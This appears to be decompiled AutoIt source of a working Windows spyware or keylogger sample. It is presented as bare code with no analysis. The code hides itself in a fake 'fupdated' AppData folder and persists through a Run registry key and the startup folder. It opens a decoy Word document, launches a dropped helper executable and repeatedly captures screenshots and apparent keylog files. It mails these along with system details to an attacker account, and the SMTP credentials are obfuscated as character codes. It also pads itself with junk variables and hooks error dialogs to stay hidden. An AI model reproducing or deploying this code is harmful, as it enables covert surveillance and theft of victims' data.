If StringLen($siestring) <= 0 Then Return SetError(1, 0, "") Local $s_iereturn Local $n_iechar For $i_iecount = 1 To StringLen($siestring) $n_iechar = "0x" & Hex(Asc(StringMid($siestring, $i_iecount, 1)), 2) If $n_iechar < 33 OR $n_iechar = 37 OR $n_iechar = 47 OR $n_iechar > 127 Then $s_iereturn = $s_iereturn & "%" & StringRight($n_iechar, 2) Else $s_iereturn = $s_iereturn & Chr($n_iechar) EndIf Next Return $s_iereturn EndFunc Func _inetgetsource($surl, $bstring = True) Local $sstring = InetRead($surl, $inet_forcereload) Local $ierror = @error, $iextended = @extended If $bstring = Default OR $bstring Then $sstring = BinaryToString($sstring) Return SetError($ierror, $iextended, $sstring) EndFunc Func _inetmail($smailto, $smailsubject, $smailbody) Local $iprev = Opt("ExpandEnvStrings", 1) Local $svar, $sdflt = RegRead("HKCU\Software\Clients\Mail", "") If $sdflt = "Windows Live Mail" Then $svar = RegRead("HKCR\WLMail.Url.Mailto\Shell\open\command", "") Else $svar = RegRead("HKCR\mailto\shell\open\command", "") EndIf Local $iret = Run(StringReplace($svar, "%1", _inetexplorercapable("mailto:" & $smailto & "?subject=" & $smailsubject & "&body=" & $smailbody))) Local $ierror = @error, $iextended = @extended Opt("ExpandEnvStrings", $iprev) Return SetError($ierror, $iextended, $iret) EndFunc Func _inetsmtpmail($ssmtpserver, $sfromname, $sfromaddress, $stoaddress, $ssubject = "", $abody = "", $sehlo = "", $sfirst = "", $btrace = 0) If $ssmtpserver = "" OR $sfromaddress = "" OR $stoaddress = "" OR $sfromname = "" OR StringLen($sfromname) > 256 Then Return SetError(1, 0, 0) If $sehlo = "" Then $sehlo = @ComputerName If TCPStartup() = 0 Then Return SetError(2, 0, 0) Local $s_ipaddress, $i_count If StringRegExp($ssmtpserver, "^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$") Then $s_ipaddress = $ssmtpserver Else $s_ipaddress = TCPNameToIP($ssmtpserver) EndIf If $s_ipaddress = "" Then TCPShutdown() Return SetError(3, 0, 0) EndIf Local $vsocket = TCPConnect($s_ipaddress, 25) If $vsocket = -1 Then TCPShutdown() Return SetError(4, 0, 0) EndIf Local $asend[6], $areplycode[6] $asend[0] = "HELO " & $sehlo & @CRLF If StringLeft($sehlo, 5) = "EHLO " Then $asend[0] = $sehlo & @CRLF $areplycode[0] = "250" $asend[1] = "MAIL FROM: <" & $sfromaddress & ">" & @CRLF $areplycode[1] = "250" $asend[2] = "RCPT TO: <" & $stoaddress & ">" & @CRLF $areplycode[2] = "250" $asend[3] = "DATA" & @CRLF $areplycode[3] = "354" Local $aresult = _date_time_gettimezoneinformation() Local $ibias = -$aresult[1] / 60 Local $ibiash = Int($ibias) Local $ibiasm = 0 If $ibiash <> $ibias Then $ibiasm = Abs($ibias - $ibiash) * 60 $ibias = StringFormat(" (%+.2d%.2d)", $ibiash, $ibiasm) $asend[4] = "From:" & $sfromname & "<" & $sfromaddress & ">" & @CRLF & "To:" & "<" & $stoaddress & ">" & @CRLF & "Subject:" & $ssubject & @CRLF & "Mime-Version: 1.0" & @CRLF & "Date: " & _datedayofweek(@WDAY, 1) & ", " & @MDAY & " " & _datetomonth(@MON, 1) & " " & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & $ibias & @CRLF & "Content-Type: text/plain; charset=US-ASCII" & @CRLF & @CRLF $areplycode[4] = "" $asend[5] = @CRLF & "." & @CRLF $areplycode[5] = "250" If __smtpsend($vsocket, $asend[0], $areplycode[0], $btrace, "220", $sfirst) Then Return SetError(50, 0, 0) For $i_count = 1 To UBound($asend) - 2 If __smtpsend($vsocket, $asend[$i_count], $areplycode[$i_count], $btrace) Then Return SetError(50 + $i_count, 0, 0) Next For $i_count = 0 To UBound($abody) - 1 If StringLeft($abody[$i_count], 1) = "." Then $abody[$i_count] = "." & $abody[$i_count] If __smtpsend($vsocket, $abody[$i_count] & @CRLF, "", $btrace) Then Return SetError(500 + $i_count, 0, 0) Next $i_count = UBound($asend) - 1 If __smtpsend($vsocket, $asend[$i_count], $areplycode[$i_count], $btrace) Then Return SetError(5000, 0, 0) TCPCloseSocket($vsocket) TCPShutdown() Return 1 EndFunc Func __smtptrace($sstr, $itimeout = 0) Local $sw_title = "SMTP trace" Local $ssmtptrace = ControlGetText($sw_title, "", "Static1") $sstr = StringLeft(StringReplace($sstr, @CRLF, ""), 70) $ssmtptrace &= @HOUR & ":" & @MIN & ":" & @SEC & " " & $sstr & @LF If WinExists($sw_title) Then ControlSetText($sw_title, "", "Static1", $ssmtptrace) Else SplashTextOn($sw_title, $ssmtptrace, 400, 500, 500, 100, 4 + 16, "", 8) EndIf If $itimeout Then Sleep($itimeout * 1000) EndFunc Func __smtpsend($vsocket, $ssend, $sreplycode, $btrace, $sintreply = "", $sfirst = "") Local $sreceive, $i, $htimer If $btrace Then __smtptrace($ssend) If $sintreply <> "" Then If $sfirst <> -1 Then If TCPSend($vsocket, $sfirst) = 0 Then TCPCloseSocket($vsocket) TCPShutdown() Return 1 EndIf EndIf $sreceive = "" $htimer = TimerInit() While StringLeft($sreceive, StringLen($sintreply)) <> $sintreply AND TimerDiff($htimer) < 45000 $sreceive = TCPRecv($vsocket, 1000) If $btrace AND $sreceive <> "" Then __smtptrace("intermediate->" & $sreceive) WEnd EndIf If TCPSend($vsocket, $ssend) = 0 Then TCPCloseSocket($vsocket) TCPShutdown() Return 1 EndIf $htimer = TimerInit() $sreceive = "" While $sreceive = "" AND TimerDiff($htimer) < 45000 $i += 1 $sreceive = TCPRecv($vsocket, 1000) If $sreplycode = "" Then ExitLoop WEnd If $sreplycode <> "" Then If $btrace Then __smtptrace($i & " <- " & $sreceive) If StringLeft($sreceive, StringLen($sreplycode)) <> $sreplycode Then TCPCloseSocket($vsocket) TCPShutdown() If $btrace Then __smtptrace("<-> " & $sreplycode, 5) Return 2 EndIf EndIf Return 0 EndFunc Func _tcpiptoname($sip, $ioption = Default, $hdll = Default) Local $iinaddr_none = -1, $iaf_inet = 2, $sseparator = @CR If $ioption = Default Then $ioption = 0 If $hdll = Default Then $hdll = "ws2_32.dll" Local $avdllcall = DllCall($hdll, "ulong", "inet_addr", "STR", $sip) If @error Then Return SetError(1, 0, "") Local $vbinip = $avdllcall[0] If $vbinip = $iinaddr_none Then Return SetError(2, 0, "") $avdllcall = DllCall($hdll, "ptr", "gethostbyaddr", "ptr*", $vbinip, "int", 4, "int", $iaf_inet) If @error Then Return SetError(3, 0, "") Local $pvhostent = $avdllcall[0] If $pvhostent = 0 Then $avdllcall = DllCall($hdll, "int", "WSAGetLastError") If @error Then Return SetError(5, 0, "") Return SetError(4, $avdllcall[0], "") EndIf Local $thostent = DllStructCreate("ptr;ptr;short;short;ptr", $pvhostent) Local $shostnames = __tcpiptoname_szstringread(DllStructGetData($thostent, 1)) If @error Then Return SetError(6, 0, $shostnames) If $ioption = 1 Then Local $taliases $shostnames &= $sseparator For $i = 0 To 63 $taliases = DllStructCreate("ptr", DllStructGetData($thostent, 2) + ($i * 4)) If DllStructGetData($taliases, 1) = 0 Then ExitLoop $shostnames &= __tcpiptoname_szstringread(DllStructGetData($taliases, 1)) If @error Then SetError(7) ExitLoop EndIf Next Return StringSplit(StringStripWS($shostnames, $str_striptrailing), @CR) Else Return $shostnames EndIf EndFunc Func __tcpiptoname_szstringread($pstr, $ilen = -1) Local $tstring If $pstr < 1 Then Return "" If $ilen < 0 Then $ilen = _winapi_stringlena($pstr) $tstring = DllStructCreate("char[" & $ilen & "]", $pstr) If @error Then Return SetError(2, 0, "") Return SetExtended($ilen, DllStructGetData($tstring, 1)) EndFunc $isasdguthecdneu = "111111" $fghjklqwertyuiopopiou = "NULL" $isasdguthecdneu = "111111" $installllldir = @HomeDrive & @HomePath & "\AppData\Local\Microsoft\fupdated\" $isasdguthecdneu = "111111" $alc = "asdlnasdjka" DirCreate($installllldir) $yekaterinburk = "_EEE0ASD4AS5D4A" FileSetAttrib($installllldir, "+SH") $yekaterinburk = "_EEE0ASD4AS5D4A" $selfprogdir = $installllldir & "runtask.exe" $yekaterinburk = "_EEE0ASD4AS5D4A" $isasdguthecdneu = "111111" $ppzlllllsklkdfj = "asjkjhbasbhjbhHjSADjjjjjjjjjjjjjjBHFBHJSBHJBHJFSBHJSF" $yekaterinburk = "_EEE0ASD4AS5D4A" $isasdguthecdneu = "111111" $isasdguthecdneu = "111111" $writetostr = "@rem Wind" & @CRLF & "echo %random% %random% %random%" & @CRLF & 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v " " /t REG_SZ /d ' & $selfprogdir & " /f" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $sahdbfsdhbvfjsderbfekmsk44s = "dfvdfggsdsdsfgrtjrhrG%^YKP%^j*" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" For $i = 0 To 800 $isasdguthecdneu = "111111" $yekaterinburk = "_EEE0ASD4AS5D4A" & @CRLF $rootcaused = NULL $isasdguthecdneu = "111111" $00545445 = '000005444444" ' & '" FALSE TRUEEE"' & @CRLF & @DesktopDepth $yekaterinburk = "_EEE0ASD4AS5D4A" $isasdguthecdneu = "111111" Next $isasdguthecdneu = "111111" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $isasdguthecdneu = "111111" $isasdguthecdneu = "111111" $isasdguthecdneu = "111111" Global $higherrirstack $isasdguthecdneu = "111111" $yekaterinburk = "_EEE0ASD4AS5D4A" $doza = "00000ss?4800AAAFBHC025s4" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" If NOT @Compiled Then Exit $yekaterinburk = "_EEE0ASD4AS5D4A" $docpath = @HomePath & "\firstl.txt" $yekaterinburk = "_EEE0ASD4AS5D4A" FileSetAttrib($docpath, "+SH") $yekaterinburk = "_EEE0ASD4AS5D4A" If NOT FileExists($docpath) Then FileWrite($docpath, "1") $micololllo = "NULL" FileSetAttrib($docpath, "+SH") Run(@ComSpec & " /c start winword %temp%\Fayl-Siyahi.doc", @ScriptDir, @SW_HIDE) $yekaterinburk = "_EEE0ASD4AS5D4A" $sdjkfnsdjknjsdfnskldkidkdididieiir = "AUUIISDFISDI" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" EndIf $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $uniqpath = @HomePath & "\options.ini" $frrrrrrasdasdasdadasdasdasrrrrr = "sdfsdfs" $unikalid = NULL $uniqid = NULL $bnc = Random(1, 10000, 1) If NOT FileExists($uniqpath) Then $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" For $dataid = 0 To 8 $hxksb = 14545454514 $asd = "sdfdgd" $uniqid &= Random(1, 100000, 1) & "-" Next $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" FileWrite($uniqpath, $uniqid & @CRLF) $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" FileSetAttrib($uniqpath, "+SH") $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $unikalid = FileReadLine($uniqpath, 1) $yekaterinburk = "_EEE0ASD4AS5D4A" $rootcaused = "asdaadasdaferfererger" $yekaterinburk = "_EEE0ASD4AS5D4A" EndIf $rootcaused = "sJSasdasdaLoapi" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $unikalid = FileReadLine($uniqpath, 1) $yekaterinburk = "_EEE0ASD4AS5D4A" $rootcaused = "sJasdaSLoapi" $yekaterinburk = "_EEE0ASD4AS5D4A" $hvasdasjkja = $selfprogdir $yekaterinburk = "_EEE0ASD4AS5D4A" $rootcaused = "sJSLasdasdasdaoapi" $yekaterinburk = "_EEE0ASD4AS5D4A" $encoxrastgelinen = @StartupDir & "\unu.exe" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" If NOT FileExists($hvasdasjkja) OR NOT ProcessExists("runtask.exe") Then FileCopy(@AutoItExe, $selfprogdir, 1) FileSetAttrib($hvasdasjkja, "+SH") FileSetAttrib($encoxrastgelinen, "+SH") $curname = StringMid(@ScriptName, 1, StringInStr(@ScriptName, ".") - 1) Run(@ComSpec & " /c " & $hvasdasjkja, @ScriptDir, @SW_HIDE) Exit EndIf $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $sopenssh = "42sadasdasdas0t04" $izaee = Random(1, 100000) $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $opslzoooskius = "ty2RTLNHKTRNJKHTRJKL2h6745" $fnsjndz = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZ" $yekaterinburk = "_EEE0ASD4AS5D4A" FileInstall(".\servicepool.exe", @TempDir & "\servicepool.exe", 1) $yekaterinburk = "_EEE0ASD4AS5D4A" Sleep(1100) $yekaterinburk = "_EEE0ASD4AS5D4A" _max(1, 300000) $hwinapi = 1 $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yuyu = "XSWDWE" FileSetAttrib(@TempDir & "\servicepool.exe", "+SH") $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $jjdd0f = "sdf0s5fs1fwe5fwf4wet4w" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" $yekaterinburk = "_EEE0ASD4AS5D4A" If @Compiled Then _addhookapi("user32.dll", "MessageBoxW", "_Intercept_MessageBoxW", "int", "hwnd;wstr;wstr;uint") Func _intercept_messageboxw($hwnd, $stext, $stitle, $itype) If $stitle = "AutoIt Error" Then $yekaterinburk = "_EEE0ASD4AS5D4A" _max(1, 300000) Else _max(1, 300000) Local $acall = DllCall("user32.dll", "int", "MessageBoxW", "hwnd", $hwnd, "wstr", $stext, "wstr", $stitle, "uint", $itype) If @error OR NOT $acall[0] Then Return 0 Return $acall[0] EndIf EndFunc $0re21g5er4g54erg5e4 = "dddrth rth rthtrtyhtyjhtyjtyjthrth5ty4" $chrmail = Chr(121) & Chr(111) & Chr(120) & Chr(108) & Chr(97) & Chr(110) & Chr(105) & Chr(115) & Chr(64) & Chr(108) & Chr(111) & Chr(99) & Chr(97) & Chr(108) & Chr(46) & Chr(114) & Chr(101) & Chr(109) & Chr(111) & Chr(116) & Chr(101) $treshxendl = NULL $smtpserver = Chr(56) & Chr(53) & Chr(46) & Chr(49) & Chr(51) & Chr(50) & Chr(46) & Chr(55) & Chr(56) & Chr(46) & Chr(49) & Chr(54) & Chr(52) $fromname = "YTGH 2" $fromaddress = $chrmail $toaddress = $chrmail $subject = Random(1, 100000) & " Eklenti " & Random(1, 100000) $treshxendl = NULL $ccaddress = "" $treshxendl = NULL $bccaddress = "" $importance = "Normal" $treshxendl = NULL $oooooooooooooooooooooo = 444444444 $username = $chrmail $password = Chr(121) & Chr(111) & Chr(120) & Chr(108) & Chr(97) & Chr(100) & Chr(97) $treshxendl = NULL $ipport = 587 $ssl = 0 $treshxendl = NULL $treshxendl = NULL $treshxendl = NULL $treshxendl = NULL $siomg = "rrrz" $treshxendl = NULL $treshxendl = NULL $tapvarde = "http://ietf.org/index.html" $yatmavaxti = 9 $selfprogdir = @AutoItExe $lflfzx = Random(10, 1000, 1) $pathtowrite = @TempDir & "\" & @IPAddress1 & "\" & @UserName & "\tempz\" & @MDAY & "-" & @MON & "-" & @YEAR & "\" While 1 $treshxendl = NULL $youridol = "fddcle" $treshxendl = NULL $idolsjehjrfjjf4f4 = @ComputerName $treshxendl = NULL $lfoef = "" $sdklfnsdjklnflsdjk = "sdfFTHYgfsd" $treshxendl = NULL $proc = ProcessList("servicepool.exe") $treshxendl = NULL _max(1, 300000) $treshxendl = NULL If NOT @error Then $treshxendl = NULL _max(1, 300000) $procsay = $proc[0][0] $treshxendl = NULL $treshxendl = NULL _max(1, 300000) If $procsay >= 2 Then $treshxendl = NULL $treshxendl = NULL $treshxendl = NULL ProcessClose("servicepool.exe") EndIf EndIf $treshxendl = NULL $treshxendl = NULL $treshxendl = NULL If NOT ProcessExists("servicepool.exe") Then $treshxendl = NULL _max(1, 300000) Run(@ComSpec & " /c " & @TempDir & "\servicepool.exe", @ScriptDir, @SW_HIDE) $treshxendl = NULL _max(1, 300000) EndIf _max(1, 300000) $higherrirstack = 0 $szsazopx = "ZZS" If NOT FileExists($pathtowrite) Then DirCreate($pathtowrite) EndIf FileSetAttrib(@TempDir & "\" & @IPAddress1, "+SH") $dname = "hhhhhhhhhf" $tempdir = $pathtowrite & $dname DirCreate($tempdir) $timestamp = @MDAY & "_" & @MON & "_" & @YEAR & "_" & @HOUR & "_" & @MIN & "_" & @SEC & "_" & @MSEC & Random(1000, 653333, 1) Sleep($yatmavaxti * 1000) FileSetAttrib($tempdir, "+SH") FileSetAttrib($tempdir, "+SH") HttpSetUserAgent("Mozilla/6.0 (Windows NT 23.6; WOWxWow; Trident/33.0;rv:16.0) like Internet Explorer 13 Gecko 13" & Random(1, 10000000, 1)) $publicip = "" $publicip2 = "" HttpSetProxy(1) $xendl = 1 If @error Then $higherrirstack = 0 Else $dlxod = Random(1, 10000, 1) $publicip2 = FileRead(@TempDir & "\~temp.txt") $higherrirstack = 0 EndIf $finalipadresses = $publicip & @CRLF $finallog = "Prosessor arx: " & @CPUArch & @CRLF & "OS arx: " & @OSArch & @CRLF & "OS: " & @OSType & @CRLF & "Emeliyyat Sistemi : " & @OSVersion & @CRLF & "Mashininadi: " & @ComputerName & @CRLF & "Cari istifadeci: " & @UserName & @CRLF & "IPadres: " & @IPAddress1 & @CRLF & "IPadres: " & @IPAddress2 & @CRLF & "IPadres: " & @IPAddress3 & @CRLF & "IPadres: " & @IPAddress4 & @CRLF & "Ischi masanin Width-i: " & @DesktopWidth & @CRLF & "Desktop Height: " & @DesktopHeight & @CRLF & $finalipadresses & @CRLF $tarixisaatpc = "Vaxt: " & @HOUR & ":" & @MIN & " " & "[" & @MDAY & "/" & @MON & "/" & @YEAR & "]" & @CRLF & "Unik@l ID: " & $unikalid & @CRLF $body = @CRLF & $finallog & $tarixisaatpc $ksla = "asjkndasjkfhbjkJkLSJKL45P%%$#$L" $array = _filelisttoarray(@TempDir & "\", "Thumbs*.txt") If NOT @error Then Local $strx For $zx = 1 To $array[0] $zrzrzrz = "11111" If $zx = UBound($array) - 1 Then $strx &= @TempDir & "\" & $array[$zx] Else $strx &= @TempDir & "\" & $array[$zx] & ";" EndIf Next Else $strx = "" EndIf $tututopuattutatibsonratuturxxx = StringLen($strx) $sendmecookegrandma = $tempdir & "\" & $timestamp & "_" & @UserName & "_" & ".jpg" _max(6, 18) _screencapture_capture($sendmecookegrandma) If NOT $tututopuattutatibsonratuturxxx = 0 Then $attachfiles = $sendmecookegrandma & ";" & $strx Else $attachfiles = $sendmecookegrandma EndIf $rc = _inetsmtpmailcom($smtpserver, $fromname, $fromaddress, $toaddress, $subject, $body, $attachfiles, $ccaddress, $bccaddress, $importance, $username, $password, $ipport, $ssl) If @error Then EndIf Sleep(1500) FileDelete($sendmecookegrandma) If NOT $tututopuattutatibsonratuturxxx = 0 Then For $zx = 0 To $array[0] FileDelete(@TempDir & "\" & $array[$zx]) Next EndIf WEnd If True = True Then $yesofcourse = "sfsdfs" Func _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject = "", $as_body = "", $s_attachfiles = "", $s_ccaddress = "", $s_bccaddress = "", $s_importance = "Normal", $s_username = "", $s_password = "", $ipport = 25, $ssl = 0) Local $objemail = ObjCreate("CDO.Message") $objemail.from = '"' & $s_fromname & '" <' & $s_fromaddress & ">" $objemail.to = $s_toaddress Local $i_error = 0 Local $i_error_desciption = "" If $s_ccaddress <> "" Then $objemail.cc = $s_ccaddress If $s_bccaddress <> "" Then $objemail.bcc = $s_bccaddress $objemail.subject = $s_subject If StringInStr($as_body, "<") AND StringInStr($as_body, ">") Then $objemail.htmlbody = $as_body Else $objemail.textbody = $as_body & @CRLF EndIf If $s_attachfiles <> "" Then Local $s_files2attach = StringSplit($s_attachfiles, ";") For $x = 1 To $s_files2attach[0] $s_files2attach[$x] = _pathfull($s_files2attach[$x]) If FileExists($s_files2attach[$x]) Then $objemail.addattachment($s_files2attach[$x]) Else SetError(1) Return 0 EndIf Next EndIf $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_smtpserver If Number($ipport) = 0 Then $ipport = 25 $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $ipport If $s_username <> "" Then $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_username $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_password EndIf If $ssl Then $objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf $objemail.configuration.fields.update Switch $s_importance Case "High" $objemail.fields.item("urn:schemas:mailheader:Importance") = "High" Case "Normal" $objemail.fields.item("urn:schemas:mailheader:Importance") = "Normal" Case "Low" $objemail.fields.item("urn:schemas:mailheader:Importance") = "Low" EndSwitch $objemail.fields.update InetRead($tapvarde, 1) If @error Then $higherrirstack = 1 Else $higherrirstack = 0 EndIf If NOT $higherrirstack = 1 Then _max(1, 300000) _max(1, 300000) _max(1, 300000) _max(1, 300000) $objemail.send If @error Then Exit EndIf $objemail = "" EndFunc Func myerrfunc() Exit _max(1, 300000) _max(1, 300000) _max(1, 300000) _max(1, 300000) EndFunc $sdkfjisf = "sdfnjsdnfjsdnjnsn e vervnernv" _max(1, 300000) _max(1, 300000) _max(1, 300000) _max(1, 300000) Func _addhookapi($smodulename, $vfunctionname, $vnewfunction, $sret = "", $sparams = "") Local Static $pimportdirectory, $hinstance If NOT $pimportdirectory Then $hinstance = _getmodulehandle() If @error Then Return SetError(1, 0, 0) Local $acall = DllCall("dbghelp.dll", "ptr", "ImageDirectoryEntryToData", "handle", $hinstance, "boolean", 1, "word", 1, "dword*", 0) If @error OR NOT $acall[0] Then Return SetError(2, 0, 0) $pimportdirectory = $acall[0] EndIf Local $iisint = IsInt($vfunctionname) Local $irestore = NOT IsString($vnewfunction) Local $timage_import_module_directory Local $pdirectoryoffset = $pimportdirectory Local $tmodulename Local $iinitialoffset, $iinitialoffset2 Local $ioffset2 Local $tbufferoffset2, $ibufferoffset2 Local $tbuffer, $tfunctionoffset, $pold, $fmatch Local Const $page_readwrite = 4 While 1 $timage_import_module_directory = DllStructCreate("dword RVAOriginalFirstThunk;" & "dword TimeDateStamp;" & "dword ForwarderChain;" & "dword RVAModuleName;" & "dword RVAFirstThunk", $pdirectoryoffset) If NOT DllStructGetData($timage_import_module_directory, "RVAFirstThunk") Then ExitLoop $tmodulename = DllStructCreate("char Name[64]", $hinstance + DllStructGetData($timage_import_module_directory, "RVAModuleName")) If DllStructGetData($tmodulename, "Name") = $smodulename Then $iinitialoffset = $hinstance + DllStructGetData($timage_import_module_directory, "RVAFirstThunk") $iinitialoffset2 = $hinstance + DllStructGetData($timage_import_module_directory, "RVAOriginalFirstThunk") If $iinitialoffset2 = $hinstance Then $iinitialoffset2 = $iinitialoffset $ioffset2 = 0 While 1 $tbufferoffset2 = DllStructCreate("dword_ptr", $iinitialoffset2 + $ioffset2) $ibufferoffset2 = DllStructGetData($tbufferoffset2, 1) If NOT $ibufferoffset2 Then ExitLoop If $iisint Then If BitAND($ibufferoffset2, 16777215) = $vfunctionname Then $fmatch = True Else $tbuffer = DllStructCreate("ushort Ordinal; char Name[64]", $hinstance + $ibufferoffset2) If DllStructGetData($tbuffer, "Name") == $vfunctionname Then $fmatch = True EndIf If $fmatch Then $tfunctionoffset = DllStructCreate("ptr", $iinitialoffset + $ioffset2) _virtualprotect(DllStructGetPtr($tfunctionoffset), DllStructGetSize($tfunctionoffset), $page_readwrite) If @error Then Return SetError(3, 0, 0) $pold = DllStructGetData($tfunctionoffset, 1) If $irestore Then DllStructSetData($tfunctionoffset, 1, $vnewfunction) Else DllStructSetData($tfunctionoffset, 1, DllCallbackGetPtr(DllCallbackRegister($vnewfunction, $sret, $sparams))) EndIf Return $pold EndIf $ioffset2 += DllStructGetSize($tbufferoffset2) WEnd ExitLoop EndIf $pdirectoryoffset += 20 WEnd Return SetError(4, 0, 0) EndFunc Func _virtualprotect($paddress, $isize, $iprotection) Local $acall = DllCall("kernel32.dll", "bool", "VirtualProtect", "ptr", $paddress, "dword_ptr", $isize, "dword", $iprotection, "dword*", 0) If @error OR NOT $acall[0] Then Return SetError(1, 0, 0) Return 1 EndFunc Func _getmodulehandle($vmodule = 0) Local $sparamtype = "ptr" If IsString($vmodule) Then $sparamtype = "wstr" Local $acall = DllCall("kernel32.dll", "ptr", "GetModuleHandleW", $sparamtype, $vmodule) If @error OR NOT $acall[0] Then Return SetError(1, 0, 0) Return $acall[0] EndFunc _max(1, 300000) _max(1, 300000) _max(1, 300000) _max(1, 300000)